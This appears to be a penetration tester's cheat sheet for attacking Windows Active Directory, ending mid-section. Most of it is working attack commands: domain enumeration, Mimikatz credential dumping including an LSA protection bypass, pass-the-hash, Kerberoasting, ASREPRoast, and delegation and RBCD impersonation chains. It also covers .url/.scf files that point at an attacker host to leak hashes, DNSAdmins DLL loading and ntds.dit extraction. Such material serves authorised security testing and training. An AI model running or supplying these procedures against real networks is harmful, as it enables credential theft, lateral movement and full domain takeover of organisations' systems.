Using PowerView#

Powerview v.3.0
Powerview Wiki

• Get Current Domain: Get-Domain

• Enumerate Other Domains: Get-Domain -Domain <DomainName>

• Get Domain SID: Get-DomainSID

• Get Domain Policy:

  1
  Get-DomainPolicy
  2
  
  3
  #Will show us the policy configurations of the Domain about system access or kerberos
  4
  Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
  5
  Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
  

• Get Domain Controllers:

  1
  Get-DomainController
  2
  Get-DomainController -Domain <DomainName>
  

• Enumerate Domain Users:

  1
  #Save all Domain Users to a file
  2
  Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
  3
  
  4
  # Get only usernames
  5
  Get-DomainUser | Select-Object -ExpandProperty samaccountname
  6
  
  7
  #Get users with descriptions (look for stored passwords)
  8
  Get-DomainUser -Properties description | Where-Object {$_.description -ne $null} | Select-Object samaccountname, description
  9
  
  10
  #Will return specific properties of a specific user
  11
  Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
  12
  
  13
  #Get users with "admin" in the name
  14
  Get-DomainUser -Identity *admin* | Select-Object samaccountname, memberof
  15
  
  16
  #Get properties for a specific user
  17
  Get-DomainUser -Identity <USERNAME> | Select-Object *
  18
  
  19
  #Enumerate user logged on a machine
  20
  Get-NetLoggedon -ComputerName <ComputerName>
  21
  
  22
  #Enumerate Session Information for a machine
  23
  Get-NetSession -ComputerName <ComputerName>
  24
  
  25
  #Enumerate domain machines of the current/specified domain where specific users are logged into
  26
  Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
  

• Enum Domain Computers:

  1
    #Get all computer names (hostnames)
  2
    Get-DomainComputer | Select-Object -ExpandProperty dnshostname
  3
  
  4
    #Get computers by Operating System (e.g., Windows 7, Server 2008)
  5
    Get-DomainComputer | Select-Object name, operatingsystem, operatingsystemversion
  6
  
  7
    #Get Domain Controllers
  8
    Get-DomainController | Select-Object Name, OSVersion, IPAddress
  9
  
  10
    #Get DNS-hostname,name, and OS of every machine
  11
    Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
  12
  
  13
    #Enumerate Live machines
  14
    Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
  

• Enum Groups and Group Members:

  1
  #Get all group names
  2
  Get-DomainGroup | Select-Object -ExpandProperty samaccountname
  3
  
  4
  Get members of "Domain Admins"
  5
  Get-DomainGroupMember -Identity "Domain Admins" | Select-Object -ExpandProperty membername
  6
  
  7
  #Save all Domain Groups to a file:
  8
  Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
  9
  
  10
  #Get groups a specific user belongs to
  11
  Get-DomainGroup -MemberIdentity <USERNAME> | Select-Object samaccountname
  12
  
  13
  #Return members of Specific Group (eg. Domain Admins & Enterprise Admins)
  14
  Get-DomainGroup -Identity '<GroupName>' | Select-Object -ExpandProperty Member
  15
  Get-DomainGroupMember -Identity '<GroupName>' | Select-Object MemberDistinguishedName
  16
  
  17
  #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine
  18
  Get-NetLocalGroup | Select-Object GroupName
  19
  
  20
  #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine
  21
  Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
  22
  
  23
  #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
  24
  Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
  

• Enumerate Shares:

  1
  #Enumerate Domain Shares
  2
  Find-DomainShare
  3
  
  4
  #Enumerate Domain Shares the current user has access
  5
  Find-DomainShare -CheckShareAccess
  6
  
  7
  #Enumerate "Interesting" Files on accessible shares
  8
  Find-InterestingDomainShareFile -Include *passwords*
  

  • Then, check [[AD SMB SHARES ENUMERATION]]

• Enum Group Policies:

  1
  Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
  2
  
  3
  #Enumerate all GPOs to a specific computer
  4
  Get-DomainGPO -ComputerIdentity <ComputerName> -Properties DisplayName | Sort-Object -Property DisplayName
  5
  
  6
  #Get users that are part of a Machine's local Admin group
  7
  Get-DomainGPOComputerLocalGroupMapping -ComputerName <ComputerName>
  

• Enum OUs:

Get-DomainOU -Properties Name | Sort-Object -Property Name

1
- **Enum ACLs:**
2

3
```powershell
4
# Returns the ACLs associated with the specified account
5
Get-DomainObjectAcl -Identity <AccountName> -ResolveGUIDs
6
Get-ObjectAcl -Identity <AccountName>
7

8
#Search for interesting ACEs
9
Find-InterestingDomainAcl -ResolveGUIDs
10

11
#Check the ACLs associated with a specified path (e.g smb share)
12
Get-PathAcl -Path "\\Path\Of\A\Share"
13

14
#Find interesting ACLs for a specific user
15
Get-DomainObjectAcl -Identity * -ResolveGUIDs | ? { $_.SecurityIdentifier -match (Get-DomainUser -Identity <USERNAME>).sid }
16

17
#Check for `GenericAll` (Full Control) rights
18
Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "GenericAll" } | Select-Object SecurityIdentifier, ObjectDN
19

20
# Enumerates the ACLs for the users group
21
  Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs
22
  # Enumerates the ACLs for the Domain Admins group
23
  Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs
24
  # Get the acl associated with a specific prefix
25
  Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
26
  # Find interesting ACLs
27
  Invoke-ACLScanner -ResolveGUIDs
28
  # Check for modify rights/permissions for the user group
29
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "user"}
30
  # Check for modify rights/permissions for the RDPUsers group
31
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPusers"}
32
  # Check for modify rights/permissions for the RDPUsers group
33
  Invoke-ACLScanner | select ObjectDN,ActiveDirectoryRights,IdentityReferenceName
34
  # Search of interesting ACL's for the current user
35
  Invoke-ACLScanner | Where-Object {$_.IdentityReference –eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}

• Enum Domain Trust:

  1
  Get-DomainTrust
  2
  Get-DomainTrust -Domain <DomainName>
  3
  
  4
  #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds
  5
  Get-DomainTrustMapping
  6
  
  7
  #Get Domain Trusts (clean mapping)
  8
  Get-DomainTrust | Select-Object SourceDomain, TargetDomain, TrustType, TrustDirection
  9
  
  10
  #Get Password Policy (min length, lockout)
  11
  Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess
  

• Enum Forest Trust:

  1
  Get-ForestDomain
  2
  Get-ForestDomain -Forest <ForestName>
  3
  
  4
  #Map the Trust of the Forest
  5
  Get-ForestTrust
  6
  Get-ForestTrust -Forest <ForestName>
  

• User Hunting:

  1
  #Finds all machines on the current domain where the current user has local admin access
  2
  Find-LocalAdminAccess -Verbose
  3
  
  4
  # Lists all users who are Domain Admins
  5
  Get-DomainGroupMember -Identity "Domain Admins" -Recurse
  6
  
  7
  # **Protected Users.** Finds users considered "high privilege" by Active Directory (protected by AdminSDHolder).
  8
  Get-DomainUser -AdminCount
  9
  
  10
  #Find local admins on all machines of the domain
  11
  Find-DomainLocalGroupMember -Verbose
  12
  
  13
  #Find computers were a Domain Admin OR a specified user has a session
  14
  Find-DomainUserLocation | Select-Object UserName, SessionFromName
  15
  
  16
  #Confirming admin access
  17
  Test-AdminAccess
  

[!INFO] Priv Esc to Domain Admin with User Hunting: I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit!

Using AD Module#

• Get Current Domain: Get-ADDomain

• Enum Other Domains: Get-ADDomain -Identity <Domain>

• Get Domain SID: Get-DomainSID

• Get Domain Controlers:

  1
  Get-ADDomainController
  2
  Get-ADDomainController -Identity <DomainName>
  

• Enumerate Domain Users:

  1
  Get-ADUser -Filter * -Identity <user> -Properties *
  2
  
  3
  #Get a specific "string" on a user's attribute
  4
  Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
  

• Enum Domain Computers:

  1
  Get-ADComputer -Filter * -Properties *
  2
  Get-ADGroup -Filter *
  

• Enum Domain Trust:

  1
  Get-ADTrust -Filter *
  2
  Get-ADTrust -Identity <DomainName>
  

• Enum Forest Trust:

  1
  Get-ADForest
  2
  Get-ADForest -Identity <ForestName>
  3
  
  4
  #Domains of Forest Enumeration
  5
  (Get-ADForest).Domains
  

• Enum Local AppLocker Effective Policy:

  1
  Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
  

Using BloodHound#

1
bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All

1
#Using exe ingestor
2
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
3

4
#Using PowerShell module ingestor
5
. .\SharpHound.ps1
6
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>
7

8
#OR, Simply:
9
Invoke-BloodHound -CollectionMethod All

Using Adalanche#

1
# kali linux:
2
./adalanche collect activedirectory --domain <Domain> \
3
--username <Username@Domain> --password <Password> \
4
--server <DC>
5

6
# Example:
7
./adalanche collect activedirectory --domain windcorp.local \
8
--username spoNge369@windcorp.local --password 'password123!' \
9
--server dc.windcorp.htb
10
## -> Terminating successfully
11

12
## Any error?:
13

14
# LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ?
15

16
./adalanche collect activedirectory --domain windcorp.local \
17
--username spoNge369@windcorp.local --password 'password123!' \
18
--server dc.windcorp.htb --tlsmode NoTLS --port 389
19

20
# Invalid Credentials ?
21
./adalanche collect activedirectory --domain windcorp.local \
22
--username spoNge369@windcorp.local --password 'password123!' \
23
--server dc.windcorp.htb --tlsmode NoTLS --port 389 \
24
--authmode basic
25

26
# Analyze data
27
# go to web browser -> 127.0.0.1:8080
28
./adalanche analyze

1
# Export Domain users to xml file.
2
Get-DomainUser | Export-CliXml .\DomainUsers.xml
3

4
# Later, when you want to utilise them for analysis even on any other machine.
5
$DomainUsers = Import-CliXml .\DomainUsers.xml
6

7
# You can now apply any condition, filters, etc.
8

9
$DomainUsers | select name
10

11
$DomainUsers | ? {$_.name -match "User's Name"}

Useful Enumeration Tools#

• ldapdomaindump Information dumper via LDAP
• adidnsdump Integrated DNS dumping by any authenticated user
• ACLight Advanced Discovery of Privileged Accounts
• ADRecon Detailed Active Directory Recon Tool

Useful Local Priv Esc Tools#

• PowerUp Misconfiguration Abuse
• BeRoot General Priv Esc Enumeration Tool
• Privesc General Priv Esc Enumeration Tool
• FullPowers Restore A Service Account’s Privileges

PowerShell Remoting#

1
#Enable PowerShell Remoting on current Machine (Needs Admin Access)
2
Enable-PSRemoting
3

4
#Entering or Starting a new PSSession (Needs Admin Access)
5
$sess = New-PSSession -ComputerName <Name>
6
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

Remote Code Execution with PS Credentials#

1
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
2
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
3
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

Import a PowerShell Module and Execute its Functions Remotely#

1
#Execute the command and start a session
2
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess
3

4
#Interact with the session
5
Enter-PSSession -Session $sess

Executing Remote Stateful commands#

1
#Create a new session
2
$sess = New-PSSession -ComputerName <NameOfComputer>
3

4
#Execute command on the session
5
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
6

7
#Check the result of the command to confirm we have an interactive session
8
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz#

1
#The commands are in cobalt strike format!
2

3
#Dump LSASS:
4
mimikatz privilege::debug
5
mimikatz token::elevate
6
mimikatz sekurlsa::logonpasswords
7

8
#(Over) Pass The Hash
9
mimikatz privilege::debug
10
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>
11

12
#List all available kerberos tickets in memory
13
mimikatz sekurlsa::tickets
14

15
#Dump local Terminal Services credentials
16
mimikatz sekurlsa::tspkg
17

18
#Dump and save LSASS in a file
19
mimikatz sekurlsa::minidump c:\temp\lsass.dmp
20

21
#List cached MasterKeys
22
mimikatz sekurlsa::dpapi
23

24
#List local Kerberos AES Keys
25
mimikatz sekurlsa::ekeys
26

27
#Dump SAM Database
28
mimikatz lsadump::sam
29

30
#Dump SECRETS Database
31
mimikatz lsadump::secrets
32

33
#Inject and dump the Domain Controler's Credentials
34
mimikatz privilege::debug
35
mimikatz token::elevate
36
mimikatz lsadump::lsa /inject
37

38
#Dump the Domain's Credentials without touching DC's LSASS and also remotely
39
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all
40

41
#Dump old passwords and NTLM hashes of a user
42
mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history
43

44
#List and Dump local kerberos credentials
45
mimikatz kerberos::list /dump
46

47
#Pass The Ticket
48
mimikatz kerberos::ptt <PathToKirbiFile>
49

50
#List TS/RDP sessions
51
mimikatz ts::sessions
52

53
#List Vault credentials
54
mimikatz vault::list

:exclamation: What if mimikatz fails to dump credentials because of LSA Protection controls ?

• LSA as a Protected Process (Kernel Land Bypass)

  1
  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  2
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
  3
  
  4
  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  5
  #Now lets import the mimidriver.sys to the system
  6
  mimikatz # !+
  7
  
  8
  #Now lets remove the protection flags from lsass.exe process
  9
  mimikatz # !processprotect /process:lsass.exe /remove
  10
  
  11
  #Finally run the logonpasswords function to dump lsass
  12
  mimikatz # sekurlsa::logonpasswords
  

• LSA as a Protected Process (Userland “Fileless” Bypass)

  • PPLdump
  • Bypassing LSA Protection in Userland

• LSA is running as virtualized process (LSAISO) by Credential Guard

  1
  #Check if a process called lsaiso.exe exists on the running processes
  2
  tasklist |findstr lsaiso
  3
  
  4
  #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
  5
  #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides
  6
  mimikatz # misc::memssp
  7
  
  8
  #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
  

• Detailed Mimikatz Guide

• Poking Around With 2 lsass Protection Options

Remote Desktop Protocol#

If the host we want to lateral move to has “RestrictedAdmin” enabled, we can pass the hash using the RDP protocol and get an interactive session without the plaintext password.

• Mimikatz:

  1
  #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag
  2
  privilege::debug
  3
  sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin"
  4
  
  5
  #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
  

• xFreeRDP:

1
xfreerdp  +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8  /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress>

:exclamation: If Restricted Admin mode is disabled on the remote machine we can connect on the host using another tool/protocol like psexec or winrm and enable it by creating the following registry key and setting it’s value zero: “HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin”.

• Bypass “Single Session per User” Restriction

On a domain computer, if you have command execution as the system or local administrator and want an RDP session that another user is already using, you can get around the single session restriction by adding the following registry key:

1
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0

Once you’ve completed the desired stuff, you can delete the key to reinstate the single-session-per-user restriction.

1
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse

URL File Attacks#

• .url file

  1
  [InternetShortcut]
  2
  URL=whatever
  3
  WorkingDirectory=whatever
  4
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  5
  IconIndex=1
  

  1
  [InternetShortcut]
  2
  URL=file://<AttackersIp>/leak/leak.html
  

• .scf file

  1
  [Shell]
  2
  Command=2
  3
  IconFile=\\<AttackersIp>\Share\test.ico
  4
  [Taskbar]
  5
  Command=ToggleDesktop
  

Putting these files in a writeable share the victim only has to open the file explorer and navigate to the share. Note that the file doesn’t need to be opened or the user to interact with it, but it must be on the top of the file system or just visible in the windows explorer window in order to be rendered. Use responder to capture the hashes.

:exclamation: .scf file attacks won’t work on the latest versions of Windows.

Useful Tools#

• Powercat netcat written in powershell, and provides tunneling, relay and portforward capabilities.
• SCShell fileless lateral movement tool that relies on ChangeServiceConfigA to run command
• Evil-Winrm the ultimate WinRM shell for hacking/pentesting
• fRunasCs Csharp and open version of windows builtin runas.exe
• ntlm_theft creates all possible file formats for url file attacks

Kerberoast#

WUT IS DIS?:
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a “user”
account, extract the encrypted blob that was encrypted using the user’s password and bruteforce it offline.

• PowerView:

  1
  #Get User Accounts that are used as Service Accounts
  2
  Get-NetUser -SPN
  3
  
  4
  #Get potential Kerberoasting targets (users with SPNs)
  5
  Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
  6
  
  7
  #Get every available SPN account, request a TGS and dump its hash
  8
  Invoke-Kerberoast
  9
  
  10
  #Requesting the TGS for a single account:
  11
  Request-SPNTicket
  12
  
  13
  #Export all tickets using Mimikatz
  14
  Invoke-Mimikatz -Command '"kerberos::list /export"'
  

• AD Module:

  1
  #Get User Accounts that are used as Service Accounts
  2
  Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  

• Impacket:

  1
  python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
  2
  
  3
  python3 GetUserSPNs.py test.local/john:password123 -dc-ip 10.10.10.1 -request
  

• Rubeus:

  1
  #Kerberoasting and outputing on a file with a specific format
  2
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>
  3
  
  4
  #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
  5
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec
  6
  
  7
  #Kerberoast AES enabled accounts
  8
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes
  9
  
  10
  #Kerberoast specific user account
  11
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple
  12
  
  13
  #Kerberoast by specifying the authentication credentials
  14
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>
  

ASREPRoast#

WUT IS DIS?:
If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.

• PowerView: Get-DomainUser -PreauthNotRequired -Verbose
• AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get “User Accounts” not Machine Accounts, because Machine Account hashes are not crackable!

PowerView:

1
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
2
Disable Kerberos Preauth:
3
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
4
Check if the value changed:
5
Get-DomainUser -PreauthNotRequired -Verbose

• And finally execute the attack using the ASREPRoast tool.

  1
  #Get a specific Accounts hash:
  2
  Get-ASREPHash -UserName <UserName> -Verbose
  3
  
  4
  #Get any ASREPRoastable Users hashes:
  5
  Invoke-ASREPRoast -Verbose
  

• Using Rubeus:

  1
  #Trying the attack for all domain users
  2
  Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
  3
  
  4
  #ASREPRoast specific user
  5
  Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
  6
  
  7
  #ASREPRoast users of a specific OU (Organization Unit)
  8
  Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
  

• Using Impacket:

  1
  #Trying the attack for the specified users on the file
  2
  python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>
  

Password Spray Attack#

If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.

Tools:

• DomainPasswordSpray
• CrackMapExec
• Invoke-CleverSpray
• Spray

Force Set SPN#

WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.

• PowerView:

  1
  #Check for interesting permissions on accounts:
  2
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
  3
  
  4
  #Check if current user has already an SPN setted:
  5
  Get-DomainUser -Identity <UserName> | select serviceprincipalname
  6
  
  7
  #Force set the SPN on the account:
  8
  Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  

• AD Module:

  1
  #Check if current user has already an SPN setted
  2
  Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName
  3
  
  4
  #Force set the SPN on the account:
  5
  Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}
  

Finally use any tool from before to grab the hash and kerberoast it!

Abusing Shadow Copies#

If you have local administrator access on a machine try to list shadow copies, it’s an easy way for Domain Escalation.

1
#List shadow copies using vssadmin (Needs Admnistrator Access)
2
vssadmin list shadows
3

4
#List shadow copies using diskshadow
5
diskshadow list shadows all
6

7
#Make a symlink to the shadow copy and access it
8
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

1. You can dump the backuped SAM database and harvest credentials.
2. Look for DPAPI stored creds and decrypt them.
3. Access backuped sensitive files.

List and Decrypt Stored Credentials using Mimikatz#

Usually encrypted credentials are stored in:

• %appdata%\Microsoft\Credentials
• %localappdata%\Microsoft\Credentials

1
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
2
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
3

4
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
5
#Lets enumerate the Master Key:
6
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"
7

8
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
9
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc
10

11
#We now have the masterkey in our local cache:
12
dpapi::cache
13

14
#Finally we can decrypt the credential using the cached masterkey:
15
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Detailed Article: DPAPI all the things

Unconstrained Delegation#

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!

Using PowerView:

1
#Discover domain joined computers that have Unconstrained Delegation enabled
2
Get-NetComputer -UnConstrained
3

4
#List tickets and check if a DA or some High Value target has stored its TGT
5
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
6

7
#Command to monitor any incoming sessions on our compromised server
8
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
9
<WaitInterval> -Verbose
10

11
#Dump the tickets to disk:
12
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
13

14
#Impersonate the user using ptt attack:
15
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

Note: We can also use Rubeus!

Constrained Delegation#

Using PowerView and Kekeo:

1
#Enumerate Users and Computers with constrained delegation
2
Get-DomainUser -TrustedToAuth
3
Get-DomainComputer -TrustedToAuth
4

5
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
6
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>
7

8
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
9
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>
10

11
#Finally use mimikatz to ptt the TGS
12
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVE: Using Rubeus:

1
Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt

Now we can access the service as the impersonated user!

:triangular_flag_on_post: What if we have delegation rights for only a specific SPN? (e.g TIME):

In this case we can still abuse a feature of kerberos called “alternative service”. This allows us to request TGS tickets for other “alternative” services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.

Resource Based Constrained Delegation#

WUT IS DIS?:
TL;DR
If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.

Tools we are going to use:

• PowerView
• Powermad
• Rubeus

First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:

1
#Import Powermad and use it to create a new MACHINE ACCOUNT
2
. .\Powermad.ps1
3
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
4

5
#Import PowerView and get the SID of our new created machine account
6
. .\PowerView.ps1
7
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
8

9
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
10
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
11
$SDBytes = New-Object byte[] ($SD.BinaryLength)
12
$SD.GetBinaryForm($SDBytes, 0)
13

14
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
15
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
16

17
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
18
Rubeus.exe hash /password:'p@ssword!'
19

20
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
21
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
22

23
#Finally we can access the C$ drive of the target machine
24
dir \\TargetMachine.wtver.domain\C$

Detailed Articles:

• Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
• RESOURCE-BASED CONSTRAINED DELEGATION ABUSE

:exclamation: In Constrain and Resource-Based Constrained Delegation if we don’t have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick “tgt::deleg” from kekeo or “tgtdeleg” from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.

1
#Command on Rubeus
2
Rubeus.exe tgtdeleg /nowrap

Detailed Article: Rubeus – Now With More Kekeo

DNSAdmins Abuse#

WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.

1. Enumerate the members of the DNSAdmins group:

   • PowerView: Get-NetGroupMember -GroupName "DNSAdmins"
   • AD Module: Get-ADGroupMember -Identiny DNSAdmins

2. Once we found a member of this group we need to compromise it (There are many ways).

3. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:

   1
   #Using dnscmd:
   2
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
   3
   
   4
   #Restart the DNS Service:
   5
   sc \\DNSServer stop dns
   6
   sc \\DNSServer start dns
   

Abusing Active Directory-Integraded DNS#

• Exploiting Active Directory-Integrated DNS
• ADIDNS Revisited
• Inveigh

Abusing Backup Operators Group#

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it’s SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.

1. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:

   1
   #Create a .txt file that will contain the shadow copy process script
   2
   Script ->{
   3
   set context persistent nowriters
   4
   set metadata c:\windows\system32\spool\drivers\color\example.cab
   5
   set verbose on
   6
   begin backup
   7
   add volume c: alias mydrive
   8
   
   9
   create
   10
   
   11
   expose %mydrive% w:
   12
   end backup
   13
   }
   14
   
   15
   #Execute diskshadow with our script as parameter
   16
   diskshadow /s script.txt
   

2. Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use this amazing repo:

   1
   #Importing both dlls from the repo using powershell
   2
   Import-Module .\SeBackupPrivilegeCmdLets.dll
   3
   Import-Module .\SeBackupPrivilegeUtils.dll
   4
   
